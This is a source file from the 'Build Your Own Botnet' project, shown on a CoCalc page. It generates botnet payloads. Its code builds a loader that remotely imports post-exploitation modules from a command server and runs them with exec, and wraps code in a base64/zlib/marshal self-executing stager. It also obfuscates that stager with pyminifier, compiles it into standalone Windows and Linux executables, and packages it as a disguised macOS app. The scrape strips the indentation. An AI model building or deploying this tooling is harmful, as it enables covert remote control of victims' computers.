Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/core/generators.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Build Your Own Botnet'
4
5
# standard library
6
import os
7
import sys
8
import time
9
import zlib
10
import json
11
import shutil
12
import base64
13
import string
14
import random
15
import marshal
16
import tempfile
17
import subprocess
18
19
# modules
20
from buildyourownbotnet.core import util
21
22
# templates
23
template_main = string.Template("""
24
if __name__ == '__main__':
25
_${VARIABLE} = ${FUNCTION}(${OPTIONS})
26
""")
27
28
template_load = string.Template("""
29
# remotely import dependencies from server
30
31
packages = ${PACKAGES}
32
packages_tmp = ${PACKAGES}
33
34
for package in packages_tmp:
35
try:
36
exec("import %s" % package, globals())
37
packages.remove(package)
38
except: pass
39
40
with remote_repo(packages, base_url=${BASE_URL}):
41
for package in packages:
42
try:
43
exec("import %s" % package, globals())
44
except: pass
45
""")
46
47
template_plist = string.Template("""<?xml version="1.0" encoding="UTF-8"?>
48
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
49
<plist version="1.0">
50
<dict>
51
<key>CFBundleDevelopmentRegion</key>
52
<string>English</string>
53
<key>CFBundleExecutable</key>
54
<string>${BASE_NAME}</string>
55
<key>CFBundleGetInfoString</key>
56
<string>${BUNDLE_VERSION}</string>
57
<key>CFBundleIconFile</key>
58
<string>${ICON_PATH}</string>
59
<key>CFBundleIdentifier</key>
60
<string>${BUNDLE_ID}}</string>
61
<key>CFBundleInfoDictionaryVersion</key>
62
<string>6.0</string>
63
<key>CFBundleName</key>
64
<string>${BUNDLE_NAME}</string>
65
<key>CFBundlePackageType</key>
66
<string>APPL</string>
67
<key>CFBundleShortVersionString</key>
68
<string>${BUNDLE_VERSION}</string>
69
<key>CFBundleSignature</key>
70
<string>????</string>
71
<key>CFBundleVersion</key>
72
<string>${VERSION}</string>
73
<key>NSAppleScriptEnabled</key>
74
<string>YES</string>
75
<key>NSMainNibFile</key>
76
<string>MainMenu</string>
77
<key>NSPrincipalClass</key>
78
<string>NSApplication</string>
79
</dict>
80
</plist>
81
""")
82
83
template_spec = string.Template("""# -*- mode: python -*-
84
block_cipher = None
85
a = Analysis([${BASENAME}],
86
pathex=[${PATH}],
87
binaries=[],
88
datas=[],
89
hiddenimports=${IMPORTS},
90
hookspath=[],
91
runtime_hooks=[],
92
excludes=['site'],
93
win_no_prefer_redirects=False,
94
win_private_assemblies=False,
95
cipher=block_cipher)
96
pyz = PYZ(a.pure, a.zipped_data,
97
cipher=block_cipher)
98
exe = EXE(pyz,
99
a.scripts,
100
a.binaries,
101
a.zipfiles,
102
a.datas,
103
name=${NAME},
104
debug=True,
105
strip=False,
106
upx=False,
107
runtime_tmpdir=None,
108
console=True, icon=${ICON})
109
""")
110
111
112
# main
113
def compress(input):
114
"""
115
Zip-compress output into self-executing script
116
117
`Requires`
118
:param str input: input code to compress
119
120
Returns compressed output as a string
121
122
"""
123
return "import zlib,base64,marshal;exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))".format(repr(base64.b64encode(zlib.compress(marshal.dumps(compile(input, '', 'exec')), 9))))
124
125
126
def obfuscate(input):
127
"""
128
Obfuscate and minimize memory footprint of output
129
130
`Requires`
131
:param str input: input code to obfuscate
132
133
Returns obfuscated output as a string
134
135
"""
136
if os.path.isfile(input):
137
input = open(input, 'r').read()
138
temp = tempfile.NamedTemporaryFile(suffix='.py', delete=False)
139
temp.file.write(input)
140
temp.file.close()
141
name = os.path.join(tempfile.gettempdir(), temp.name)
142
obfs = subprocess.Popen('pyminifier -o {} --obfuscate-classes --obfuscate-variables --replacement-length=1 {}'.format(name, name), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True)
143
obfs.wait()
144
output = open(name, 'r').read().replace('# Created by pyminifier (https://github.com/liftoff/pyminifier)', '')
145
os.remove(name)
146
return output
147
148
149
def variable(length=6):
150
"""
151
Generate a random alphanumeric variable name of given length
152
153
`Optional`
154
:param int length: length of the variable name to generate
155
156
Returns variable as a string
157
158
"""
159
return random.choice([chr(n) for n in range(97,123)]) + ''.join(random.choice([chr(n) for n in range(97,123)] + [chr(i) for i in range(48,58)] + [chr(i) for i in range(48,58)] + [chr(z) for z in range(65,91)]) for x in range(int(length)-1))
160
161
162
def main(function, *args, **kwargs):
163
"""
164
Generate a simple code snippet to initialize a script
165
166
if __name__ == "__main__":
167
_function = Function(*args, **kwargs)
168
169
`Required`
170
:param str funciton: function name
171
172
`Optional`
173
:param tuple args: positional arguments
174
:param dict kwargs: keyword arguments
175
176
Returns code snippet as a string
177
178
"""
179
global template_main
180
options = list(args)
181
for k,v in kwargs.items():
182
if not v:
183
continue
184
k, v = str(k), str(v)
185
options.append("{}='{}'".format(k,v))
186
options = ', '.join(options)
187
return template_main.substitute(VARIABLE=function.lower(), FUNCTION=function, OPTIONS=options)
188
189
190
def loader(host='127.0.0.1', port=1337, packages=[]):
191
"""
192
Generate loader code which remotely imports the
193
payload dependencies and post-exploitation modules
194
195
`Required`
196
:param str host: server IP address
197
:param int port: server port number
198
199
`Optional`
200
:param list imports: package/modules to remotely import
201
202
"""
203
global template_load
204
base_url = 'http://{}:{}'.format(host, port)
205
return template_load.substitute(PACKAGES=repr(packages), BASE_URL=repr(base_url))
206
207
208
def freeze(filename, icon=None, hidden=None, owner=None, operating_system=None, architecture=None):
209
"""
210
Compile a Python file into a standalone executable
211
binary with a built-in Python interpreter
212
213
`Required`
214
:param str icon: icon image filename
215
:param str filename: target filename
216
217
Returns output filename as a string
218
219
"""
220
global template_spec
221
222
# remember current working directory to return later
223
original_dir = os.getcwd()
224
225
basename = os.path.basename(filename)
226
name = os.path.splitext(basename)[0]
227
path = os.path.splitdrive(os.path.abspath('.'))[1].replace('\\','/')
228
229
# add user/owner output path if provided
230
if owner:
231
path = path + '/output/' + owner + '/src'
232
233
key = ''.join([random.choice([chr(i) for i in list(range(48,91)) + list(range(97,123))]) for _ in range(16)])
234
235
imports = ['imp']
236
with open(filename) as import_file:
237
for potental_import in filter(None, (PI.strip().split() for PI in import_file)):
238
if potental_import[0] == 'import':
239
imports.append(potental_import[1].split(';')[0].split(','))
240
241
bad_imports = set()
242
bad_imports.add('core')
243
for i in os.listdir('core'):
244
i = os.path.splitext(i)[0]
245
bad_imports.add(i)
246
bad_imports.add('core.%s' % i)
247
248
for imported in imports:
249
if isinstance(imported, list):
250
__ = imports.pop(imports.index(imported))
251
for ___ in __:
252
if ___ not in bad_imports:
253
imports.append(___)
254
255
imports = list(set(imports))
256
if isinstance(hidden, list):
257
imports.extend(hidden)
258
259
# hacky fix https://stackoverflow.com/questions/61574984/no-module-named-pkg-resources-py2-warn-pyinstaller
260
imports.append('pkg_resources.py2_warn')
261
262
spec = template_spec.substitute(BASENAME=repr(basename), PATH=repr(path), IMPORTS=imports, NAME=repr(name), ICON=repr(icon))
263
fspec = os.path.join(path, name + '.spec')
264
265
with open(fspec, 'w') as fp:
266
fp.write(spec)
267
268
# copy requirements to
269
shutil.copy('requirements_client.txt', path + '/requirements.txt')
270
271
# cd into user's src directory (limitation of pyinstaller docker)
272
os.chdir(path)
273
274
# cross-compile executable for the specified os/arch using pyinstaller docker containers
275
process = subprocess.Popen('docker run -v "$(pwd):/src/" {docker_container}'.format(
276
src_path=os.path.dirname(path),
277
docker_container=operating_system + '-' + architecture),
278
0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE,
279
cwd=path,
280
shell=True)
281
282
start_time = time.time()
283
284
# wait for compilation to finish or hit 10 minute time limit
285
while True:
286
try:
287
line = process.stderr.readline().rstrip()
288
except:
289
break
290
if line.strip() != None:
291
util.display(line, color='reset', style='dim')
292
line = line.decode('utf-8')
293
if 'EXE' in line and 'complete' in line:
294
break
295
time.sleep(0.25)
296
297
if (time.time() - start_time > 600):
298
raise RuntimeError("Timeout or out of memory")
299
300
output = os.path.join(path, 'dist', 'windows/{0}.exe'.format(name) if operating_system == 'win' else 'linux/{0}'.format(name))
301
302
# remove temporary files (.py, .spec)
303
os.remove(basename)
304
os.remove(name + '.spec')
305
306
# return to original directory
307
os.chdir(original_dir)
308
309
return output
310
311
312
def app(filename, icon=None):
313
"""
314
Bundle the Python stager file into a Mac OS X application
315
316
`Required`
317
:param str icon: icon image filename
318
:param str filename: target filename
319
320
Returns output filename as a string
321
"""
322
global template_plist
323
version = '%d.%d.%d' % (random.randint(0,3), random.randint(0,6), random.randint(1, 9))
324
baseName = os.path.basename(filename)
325
bundleName = os.path.splitext(baseName)[0]
326
appPath = os.path.join(os.getcwd(), '{}.app'.format(bundleName))
327
basePath = os.path.join(appPath, 'Contents')
328
distPath = os.path.join(basePath, 'MacOS')
329
rsrcPath = os.path.join(basePath, 'Resources')
330
pkgPath = os.path.join(basePath, 'PkgInfo')
331
plistPath = os.path.join(rsrcPath, 'Info.plist')
332
iconPath = os.path.basename(icon) if icon else ''
333
executable = os.path.join(distPath, filename)
334
bundleVersion = bundleName + ' ' + version
335
bundleIdentity = 'com.' + bundleName
336
infoPlist = template_plist.substitute(BASE_NAME=baseName, BUNDLE_VERSION=bundleVersion, ICON_PATH=iconPath, BUNDLE_ID=bundleIdentity, BUNDLE_NAME=bundleName, VERSION=version)
337
os.makedirs(distPath)
338
os.mkdir(rsrcPath)
339
with open(pkgPath, "w") as fp:
340
fp.write("APPL????")
341
with open(plistPath, "w") as fw:
342
fw.write(infoPlist)
343
os.rename(filename, os.path.join(distPath, baseName))
344
return appPath
345
346